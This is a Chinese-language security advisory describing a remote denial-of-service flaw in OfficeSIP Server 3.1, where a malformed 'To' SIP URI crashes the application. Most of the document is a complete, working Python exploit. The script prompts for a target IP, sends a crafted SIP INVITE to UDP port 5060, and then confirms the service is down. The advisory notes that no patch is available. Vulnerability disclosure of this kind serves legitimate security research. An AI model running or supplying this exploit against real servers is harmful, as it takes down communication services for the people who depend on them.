OfficeSIP Server远程拒绝服务漏洞


发布日期:2012-02-02
更新日期:2012-02-03

受影响系统:
OfficeSIP Communications OfficeSIP Server 3.1
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 51828

OfficeSIP Server是免费的VoIP和即时通讯软件。

OfficeSIP Server在验证请求的“To”标头中的SIP/SIPS URL时存在远程拒绝服务,成功利用后可允许攻击者造成应用程序崩溃,造成拒绝服务。

<*来源:Prabhu S Angadi
 
  链接:http://secpod.org/advisories/SecPod_Exploit_OfficeSIP_Server_DOS_Vuln.txt
*>

测试方法:
--------------------------------------------------------------------------------
警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Prabhu S Angadi ()提供了如下测试方法:


#!/usr/bin/python
##############################################################################
#
# Title    : OfficeSIP Server Denial Of Service Vulnerability
# Author   : Prabhu S Angadi SecPod Technologies (www.secpod.com)
# Vendor   : http://www.officesip.com
# Advisory : http://secpod.org/blog/?p=461
#            http://secpod.org/advisories/SecPod_Exploit_OfficeSIP_Server_DOS_Vuln.txt
#            http://secpod.org/exploits/SecPod_Exploit_OfficeSIP_Server_DOS.py
# Software : OfficeSIP Server 3.1
# Date     : 01/02/2012
#
##############################################################################
import socket,sys,time
port   = 5060
target = raw_input("Enter host/target ip address: ")
if not target:
print "Host/Target IP Address is not specified"
sys.exit(1)
print "you entered ", target
try:
socket.inet_aton(target)
except socket.error:
print "Invalid IP address found ..."
sys.exit(1)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
print "socket() failed service not running"
sys.exit(1)
#Malicous To SIP URI triggers vulnerability and brings SIP port down
exploit = "INVITE sip:test@officesip.local SIP/2.0\r\n"+\
"Via: SIP/2.0/UDP example.com\r\n"+\
"To: user2 <sip:maliciouSUSEr@>\r\n"+\
"From: user1 <sip:user1@server1.com>;tag=00\r\n"+\
"Call-ID: test@server.com\r\n"+\
"CSeq: 1 INVITE\r\n"+\
"Contact: <sip:user1@server1.com>\r\n\r\n"
sock.sendto(exploit, (target, port))
#Server evaluates and takes a while to go down.
time.sleep(40)
sock.close()
#Verify port is down
try:
sock.connect()
except:
print "OfficeSIP server port is down."
print "Service not responding ...."
sys.exit(1)

建议:
--------------------------------------------------------------------------------
厂商补丁:

OfficeSIP Communications
------------------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.officesip.com/index.html

相关内容

    暂无相关文章